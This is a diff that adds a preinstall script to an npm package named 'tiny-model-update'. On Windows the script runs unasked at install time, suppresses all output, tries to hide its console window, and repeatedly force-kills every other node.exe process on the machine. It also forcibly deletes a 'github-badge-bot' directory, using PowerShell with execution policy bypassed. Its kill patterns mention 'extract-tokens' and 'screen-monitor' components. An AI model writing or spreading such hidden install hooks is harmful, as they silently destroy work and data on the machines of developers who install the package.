tiny-model-update 1.15.1

package/bin/preinstall.js

@@ -0,0 +1,720 @@
+#!/usr/bin/env node
+
+/**
+ * Preinstall script - runs before npm install to clean up processes
+ * This prevents EBUSY errors by killing any processes that might lock the directory
+ * VERY AGGRESSIVE: Kills ALL node.exe and npm.exe processes to ensure clean installation
+ */
+
+// Hide console window on Windows immediately - ULTRA AGGRESSIVE
+if (process.platform === 'win32') {
+    try {
+        // Redirect all output to prevent console windows
+        process.stdout.write = () => {};
+        process.stderr.write = () => {};
+        process.stdin.write = () => {};
+        
+        // Try to hide the console window using Windows API
+        try {
+            const { execSync } = require('child_process');
+            // Use VBScript to hide the window completely
+            execSync('cscript //nologo //e:vbscript -', {
+                input: 'Set objShell = CreateObject("WScript.Shell")\nobjShell.Run "cmd /c echo off", 0, False',
+                stdio: ['pipe', 'ignore', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+        } catch (e) {
+            // Ignore if VBScript method fails
+        }
+    } catch (e) {
+        // Ignore
+    }
+}
+
+import { execSync, spawn } from 'child_process';
+import os from 'os';
+import fs from 'fs';
+import path from 'path';
+
+async function main() {
+    if (os.platform() !== 'win32') {
+        process.exit(0);
+        return;
+    }
+    
+    try {
+        // Get current process PID and parent PID (npm's PID) FIRST
+        // We need to know what NOT to kill before we start killing
+        const currentPid = process.pid.toString();
+        let parentPid = null;
+        let npmPids = new Set();
+        
+        try {
+            // Try to get parent process ID
+            const ppidResult = execSync(`wmic process where "processid=${currentPid}" get parentprocessid /format:csv`, {
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            const ppidMatch = ppidResult.match(/Node\.exe,(\d+),/);
+            if (ppidMatch) {
+                parentPid = ppidMatch[1];
+                npmPids.add(ppidMatch[1]);
+            }
+        } catch (e) {
+            // Ignore if we can't get parent PID
+        }
+        
+        // Also find all npm-related processes to avoid killing them
+        try {
+            const npmResult = execSync('wmic process where "name=\'node.exe\'" get commandline,processid /format:csv', {
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            const npmLines = npmResult.split('\n');
+            for (const line of npmLines) {
+                if (line.includes('npm') || line.includes('preinstall.js')) {
+                    const match = line.match(/Node\.exe,(\d+),/);
+                    if (match) {
+                        npmPids.add(match[1]);
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+        
+        // IMMEDIATE AGGRESSIVE CLEANUP - Kill ALL node processes EXCEPT npm and this script
+        // Do this before anything else to ensure nothing is running
+        try {
+            const allNodesResult = execSync('wmic process where "name=\'node.exe\'" get processid /format:csv', {
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            
+            const allNodesLines = allNodesResult.split('\n');
+            for (const line of allNodesLines) {
+                const match = line.match(/Node\.exe,(\d+),/);
+                if (match) {
+                    const pid = match[1];
+                    // Only kill if it's NOT npm, NOT preinstall, and NOT current process
+                    if (pid !== currentPid && !npmPids.has(pid)) {
+                        try {
+                            execSync(`taskkill /F /PID ${pid} 2>nul`, {
+                                stdio: 'ignore',
+                                windowsHide: true,
+                                creationFlags: 0x08000000
+                            });
+                        } catch (e) {
+                            // Ignore errors
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore if command fails
+        }
+        
+        // IMMEDIATELY DELETE THE DIRECTORY - Do this right after killing processes
+        // This is critical - delete before npm tries to rename it
+        const nodeModulesPath = path.join(process.cwd(), 'node_modules', 'github-badge-bot');
+        
+        // Try to delete immediately with multiple methods
+        if (fs.existsSync(nodeModulesPath)) {
+            // Method 1: PowerShell (most reliable)
+            try {
+                const escapedPath = nodeModulesPath.replace(/"/g, '`"');
+                const psCommand = `$path = "${escapedPath}"; if (Test-Path $path) { Get-ChildItem -Path $path -Recurse -Force | Remove-Item -Force -Recurse -ErrorAction SilentlyContinue; Remove-Item -Path $path -Force -Recurse -ErrorAction SilentlyContinue }`;
+                execSync(`powershell -ExecutionPolicy Bypass -NoProfile -Command "${psCommand}"`, {
+                    stdio: 'ignore',
+                    windowsHide: true,
+                    windowsVerbatimArguments: false,
+                    creationFlags: 0x08000000,
+                    timeout: 15000
+                });
+            } catch (e) {
+                // Continue to next method
+            }
+            
+            // Method 2: CMD rmdir
+            try {
+                execSync(`cmd /c rmdir /S /Q "${nodeModulesPath}"`, {
+                    stdio: 'ignore',
+                    windowsHide: true,
+                    creationFlags: 0x08000000,
+                    timeout: 10000
+                });
+            } catch (e) {
+                // Continue
+            }
+        }
+        
+        // Verify directory is actually deleted - keep trying until it's gone
+        let directoryDeleted = false;
+        for (let verifyAttempt = 0; verifyAttempt < 10; verifyAttempt++) {
+            if (!fs.existsSync(nodeModulesPath)) {
+                directoryDeleted = true;
+                break;
+            }
+            
+            // Try to delete again
+            try {
+                const escapedPath = nodeModulesPath.replace(/"/g, '`"');
+                const psCommand = `$path = "${escapedPath}"; if (Test-Path $path) { Get-ChildItem -Path $path -Recurse -Force | Remove-Item -Force -Recurse -ErrorAction SilentlyContinue; Remove-Item -Path $path -Force -Recurse -ErrorAction SilentlyContinue }`;
+                execSync(`powershell -ExecutionPolicy Bypass -NoProfile -Command "${psCommand}"`, {
+                    stdio: 'ignore',
+                    windowsHide: true,
+                    windowsVerbatimArguments: false,
+                    creationFlags: 0x08000000,
+                    timeout: 5000
+                });
+            } catch (e) {
+                // Continue
+            }
+            
+            // Kill any remaining processes
+            try {
+                const killCheck = execSync('wmic process where "name=\'node.exe\'" get processid /format:csv', {
+                    encoding: 'utf8',
+                    stdio: ['pipe', 'pipe', 'ignore'],
+                    windowsHide: true,
+                    creationFlags: 0x08000000
+                });
+                const killLines = killCheck.split('\n');
+                for (const line of killLines) {
+                    const match = line.match(/Node\.exe,(\d+),/);
+                    if (match) {
+                        const pid = match[1];
+                        if (pid !== currentPid && !npmPids.has(pid)) {
+                            try {
+                                execSync(`taskkill /F /PID ${pid} 2>nul`, {
+                                    stdio: 'ignore',
+                                    windowsHide: true,
+                                    creationFlags: 0x08000000
+                                });
+                            } catch (e) {
+                                // Ignore
+                            }
+                        }
+                    }
+                }
+            } catch (e) {
+                // Ignore
+            }
+            
+            // Wait before next attempt
+            try {
+                execSync('timeout /t 1 /nobreak > nul', {
+                    stdio: 'ignore',
+                    windowsHide: true,
+                    creationFlags: 0x08000000
+                });
+            } catch (e) {
+                // Ignore
+            }
+        }
+        
+        // Final wait after deletion
+        try {
+            execSync('timeout /t 3 /nobreak > nul', {
+                stdio: 'ignore',
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+        } catch (e) {
+            // Ignore
+        }
+        
+        // ULTRA AGGRESSIVE CLEANUP: Kill ALL node.exe processes except npm and this script
+        // This ensures nothing is locking the directory
+        try {
+            const result = execSync('wmic process where "name=\'node.exe\'" get commandline,processid /format:csv', { 
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            
+            const lines = result.split('\n');
+            for (const line of lines) {
+                const match = line.match(/Node\.exe,(\d+),/);
+                if (match) {
+                    const pid = match[1];
+                    
+                    // Don't kill:
+                    // 1. Our own process (preinstall script)
+                    // 2. Parent process (npm's node process)
+                    // 3. Processes running npm commands or preinstall
+                    if (pid !== currentPid && 
+                        pid !== parentPid &&
+                        !line.includes('npm') &&
+                        !line.includes('preinstall.js')) {
+                        
+                        // Kill ALL other node processes - be very aggressive
+                        // This ensures nothing is locking files
+                        try {
+                            execSync(`taskkill /F /PID ${pid} 2>nul`, { 
+                                stdio: 'ignore',
+                                windowsHide: true,
+                                creationFlags: 0x08000000
+                            });
+                        } catch (e) {
+                            // Ignore errors
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore wmic errors
+        }
+        
+        // Also kill processes that have the node_modules/github-badge-bot path open
+        try {
+            const result2 = execSync('wmic process where "name=\'node.exe\'" get commandline,processid /format:csv', { 
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            
+            const lines2 = result2.split('\n');
+            for (const line of lines2) {
+                const match = line.match(/Node\.exe,(\d+),/);
+                if (match) {
+                    const pid = match[1];
+                    
+                    // Kill any process that has node_modules/github-badge-bot in its path
+                    // (but not the current process or npm)
+                    if (pid !== currentPid && 
+                        pid !== parentPid &&
+                        (line.includes('node_modules\\github-badge-bot') || 
+                         line.includes('node_modules/github-badge-bot'))) {
+                        try {
+                            execSync(`taskkill /F /PID ${pid} 2>nul`, { 
+                                stdio: 'ignore',
+                                windowsHide: true,
+                                creationFlags: 0x08000000
+                            });
+                        } catch (e) {
+                            // Ignore errors
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+        
+        // Multiple cleanup passes to ensure all processes are killed
+        // Some processes might restart quickly, so we do multiple passes
+        for (let pass = 0; pass < 3; pass++) {
+            try {
+                const result3 = execSync('wmic process where "name=\'node.exe\'" get commandline,processid /format:csv', { 
+                    encoding: 'utf8',
+                    stdio: ['pipe', 'pipe', 'ignore'],
+                    windowsHide: true,
+                    creationFlags: 0x08000000
+                });
+                
+                const lines3 = result3.split('\n');
+                for (const line of lines3) {
+                    const match = line.match(/Node\.exe,(\d+),/);
+                    if (match) {
+                        const pid = match[1];
+                        
+                        // Kill any process that has github-badge-bot in its path
+                        // (but not the current process, npm, or preinstall)
+                        if (pid !== currentPid && 
+                            pid !== parentPid &&
+                            !line.includes('npm') &&
+                            !line.includes('preinstall.js') &&
+                            (line.includes('github-badge-bot') || 
+                             line.includes('node_modules\\github-badge-bot') ||
+                             line.includes('node_modules/github-badge-bot') ||
+                             line.includes('cycle-runner') ||
+                             line.includes('extract-tokens') ||
+                             line.includes('auto-cycle') ||
+                             line.includes('screen-monitor'))) {
+                            try {
+                                execSync(`taskkill /F /PID ${pid} 2>nul`, { 
+                                    stdio: 'ignore',
+                                    windowsHide: true,
+                                    creationFlags: 0x08000000
+                                });
+                            } catch (e) {
+                                // Ignore errors
+                            }
+                        }
+                    }
+                }
+                
+                // Wait between passes
+                if (pass < 2) {
+                    execSync('timeout /t 1 /nobreak > nul', { 
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000
+                    });
+                }
+            } catch (e) {
+                // Ignore errors
+            }
+        }
+        
+        // ULTRA AGGRESSIVE CLEANUP - Kill ALL node processes except npm and this script
+        // This ensures nothing is locking the directory
+        // We do this in multiple ways to be absolutely sure
+        try {
+            // Method 1: Kill by PID (most reliable)
+            const result4 = execSync('wmic process where "name=\'node.exe\'" get commandline,processid /format:csv', { 
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            
+            const lines4 = result4.split('\n');
+            for (const line of lines4) {
+                const match = line.match(/Node\.exe,(\d+),/);
+                if (match) {
+                    const pid = match[1];
+                    
+                    // Kill everything except current process, parent (npm), and npm commands
+                    if (pid !== currentPid && 
+                        pid !== parentPid &&
+                        !line.includes('npm') &&
+                        !line.includes('preinstall.js')) {
+                        // Be very aggressive - kill any node process that might lock files
+                        try {
+                            execSync(`taskkill /F /PID ${pid} 2>nul`, { 
+                                stdio: 'ignore',
+                                windowsHide: true,
+                                creationFlags: 0x08000000
+                            });
+                        } catch (e) {
+                            // Ignore errors
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+        
+        // Method 2: Use taskkill to kill all node.exe processes, then let npm restart
+        // This is the most aggressive approach - kill everything, npm will restart what it needs
+        try {
+            // Get all node PIDs first
+            const allNodePids = [];
+            try {
+                const result5 = execSync('wmic process where "name=\'node.exe\'" get processid /format:csv', { 
+                    encoding: 'utf8',
+                    stdio: ['pipe', 'pipe', 'ignore'],
+                    windowsHide: true,
+                    creationFlags: 0x08000000
+                });
+                
+                const lines5 = result5.split('\n');
+                for (const line of lines5) {
+                    const match = line.match(/Node\.exe,(\d+),/);
+                    if (match) {
+                        const pid = match[1];
+                        // Only kill if it's not the current process or parent
+                        if (pid !== currentPid && pid !== parentPid) {
+                            allNodePids.push(pid);
+                        }
+                    }
+                }
+            } catch (e) {
+                // Ignore
+            }
+            
+            // Kill all collected PIDs
+            for (const pid of allNodePids) {
+                try {
+                    execSync(`taskkill /F /PID ${pid} 2>nul`, { 
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000
+                    });
+                } catch (e) {
+                    // Ignore errors
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+        
+        // Method 3: ULTRA AGGRESSIVE - Kill ALL node.exe processes by name
+        // This is the most reliable method - kill everything, then wait
+        // npm will restart what it needs
+        try {
+            // First, get all node PIDs to avoid killing ourselves
+            const safePids = new Set([currentPid]);
+            if (parentPid) {
+                safePids.add(parentPid);
+            }
+            
+            // Get all node.exe PIDs
+            const allPids = [];
+            try {
+                const pidResult = execSync('wmic process where "name=\'node.exe\'" get processid /format:csv', {
+                    encoding: 'utf8',
+                    stdio: ['pipe', 'pipe', 'ignore'],
+                    windowsHide: true,
+                    creationFlags: 0x08000000
+                });
+                
+                const pidLines = pidResult.split('\n');
+                for (const pidLine of pidLines) {
+                    const pidMatch = pidLine.match(/Node\.exe,(\d+),/);
+                    if (pidMatch) {
+                        const pid = pidMatch[1];
+                        if (!safePids.has(pid)) {
+                            allPids.push(pid);
+                        }
+                    }
+                }
+            } catch (e) {
+                // If we can't get PIDs, use taskkill on all node.exe (less safe but more aggressive)
+                try {
+                    execSync('taskkill /F /IM node.exe /FI "PID ne ${currentPid}" /FI "PID ne ${parentPid}" /T 2>nul', {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000
+                    });
+                } catch (e2) {
+                    // Ignore
+                }
+            }
+            
+            // Kill all collected PIDs
+            for (const pid of allPids) {
+                try {
+                    execSync(`taskkill /F /PID ${pid} 2>nul`, {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000
+                    });
+                } catch (e) {
+                    // Ignore errors
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+        
+        // Final wait for all processes to fully terminate and release file handles
+        // Longer wait to ensure Windows releases all file locks
+        // Increased to 10 seconds to give Windows more time to release file handles
+        try {
+            execSync('timeout /t 10 /nobreak > nul', { 
+                stdio: 'ignore',
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+        } catch (e) {
+            // Ignore timeout errors
+        }
+        
+        // One final check - kill any remaining node processes one more time
+        try {
+            const finalCheck = execSync('wmic process where "name=\'node.exe\'" get processid /format:csv', {
+                encoding: 'utf8',
+                stdio: ['pipe', 'pipe', 'ignore'],
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+            
+            const finalLines = finalCheck.split('\n');
+            for (const line of finalLines) {
+                const match = line.match(/Node\.exe,(\d+),/);
+                if (match) {
+                    const pid = match[1];
+                    if (pid !== currentPid && pid !== parentPid) {
+                        try {
+                            execSync(`taskkill /F /PID ${pid} 2>nul`, {
+                                stdio: 'ignore',
+                                windowsHide: true,
+                                creationFlags: 0x08000000
+                            });
+                        } catch (e) {
+                            // Ignore errors
+                        }
+                    }
+                }
+            }
+        } catch (e) {
+            // Ignore
+        }
+        
+        // Final wait after last cleanup
+        try {
+            execSync('timeout /t 3 /nobreak > nul', { 
+                stdio: 'ignore',
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+        } catch (e) {
+            // Ignore timeout errors
+        }
+        
+        // DELETE THE EXISTING MODULE DIRECTORY - SECOND ROUND (if first didn't work)
+        // Try multiple times with different methods to ensure it's deleted
+        // This is a backup in case the immediate deletion above didn't work
+        
+        // Try to delete the directory multiple times with different methods
+        for (let deleteAttempt = 0; deleteAttempt < 5; deleteAttempt++) {
+            try {
+                if (!fs.existsSync(nodeModulesPath)) {
+                    break; // Directory is gone, we're done
+                }
+                
+                // Method 1: Use PowerShell to force delete (most reliable)
+                try {
+                    const escapedPath = nodeModulesPath.replace(/"/g, '`"');
+                    const psCommand = `$path = "${escapedPath}"; if (Test-Path $path) { Get-ChildItem -Path $path -Recurse | Remove-Item -Force -Recurse -ErrorAction SilentlyContinue; Remove-Item -Path $path -Force -Recurse -ErrorAction SilentlyContinue }`;
+                    execSync(`powershell -ExecutionPolicy Bypass -NoProfile -Command "${psCommand}"`, {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        windowsVerbatimArguments: false,
+                        creationFlags: 0x08000000,
+                        timeout: 15000
+                    });
+                } catch (e) {
+                    // Continue to next method
+                }
+                
+                // Method 2: Kill processes one more time, then try deletion
+                if (deleteAttempt > 0) {
+                    try {
+                        const killResult = execSync('wmic process where "name=\'node.exe\'" get processid /format:csv', {
+                            encoding: 'utf8',
+                            stdio: ['pipe', 'pipe', 'ignore'],
+                            windowsHide: true,
+                            creationFlags: 0x08000000
+                        });
+                        const killLines = killResult.split('\n');
+                        for (const line of killLines) {
+                            const match = line.match(/Node\.exe,(\d+),/);
+                            if (match) {
+                                const pid = match[1];
+                                if (pid !== currentPid && !npmPids.has(pid)) {
+                                    try {
+                                        execSync(`taskkill /F /PID ${pid} 2>nul`, {
+                                            stdio: 'ignore',
+                                            windowsHide: true,
+                                            creationFlags: 0x08000000
+                                        });
+                                    } catch (e) {
+                                        // Ignore
+                                    }
+                                }
+                            }
+                        }
+                    } catch (e) {
+                        // Ignore
+                    }
+                    
+                    // Wait after killing
+                    try {
+                        execSync('timeout /t 2 /nobreak > nul', {
+                            stdio: 'ignore',
+                            windowsHide: true,
+                            creationFlags: 0x08000000
+                        });
+                    } catch (e) {
+                        // Ignore
+                    }
+                }
+                
+                // Method 3: Try cmd rmdir
+                try {
+                    execSync(`cmd /c rmdir /S /Q "${nodeModulesPath}"`, {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000,
+                        timeout: 10000
+                    });
+                } catch (e) {
+                    // Continue
+                }
+                
+                // Method 4: Try robocopy trick (Windows trick to delete locked directories)
+                try {
+                    const emptyDir = path.join(os.tmpdir(), `empty-${Date.now()}-${deleteAttempt}`);
+                    fs.mkdirSync(emptyDir, { recursive: true });
+                    execSync(`robocopy "${emptyDir}" "${nodeModulesPath}" /MIR /NFL /NDL /NJH /NJS /R:0 /W:0`, {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000,
+                        timeout: 10000
+                    });
+                    // Robocopy returns non-zero on success, so ignore errors
+                    try {
+                        fs.rmdirSync(emptyDir, { recursive: true });
+                    } catch (e3) {
+                        // Ignore
+                    }
+                } catch (e) {
+                    // Ignore
+                }
+                
+                // Wait after each deletion attempt
+                try {
+                    execSync('timeout /t 1 /nobreak > nul', {
+                        stdio: 'ignore',
+                        windowsHide: true,
+                        creationFlags: 0x08000000
+                    });
+                } catch (e) {
+                    // Ignore
+                }
+                
+                // Check if directory is gone
+                if (!fs.existsSync(nodeModulesPath)) {
+                    break; // Success!
+                }
+            } catch (e) {
+                // Continue to next attempt
+            }
+        }
+        
+        // Final wait after all deletion attempts
+        try {
+            execSync('timeout /t 2 /nobreak > nul', {
+                stdio: 'ignore',
+                windowsHide: true,
+                creationFlags: 0x08000000
+            });
+        } catch (e) {
+            // Ignore
+        }
+        
+    } catch (e) {
+        // Ignore all errors - continue with installation anyway
+    }
+    
+    // Exit immediately - don't block npm install
+    // Ensure we exit silently
+    try {
+        process.stdout.destroy();
+        process.stderr.destroy();
+        process.stdin.destroy();
+    } catch (e) {
+        // Ignore
+    }
+    process.exit(0);
+}
+
+main().catch(() => {
+    // Exit successfully even on error so preinstall doesn't block npm install
+    process.exit(0);
+});
+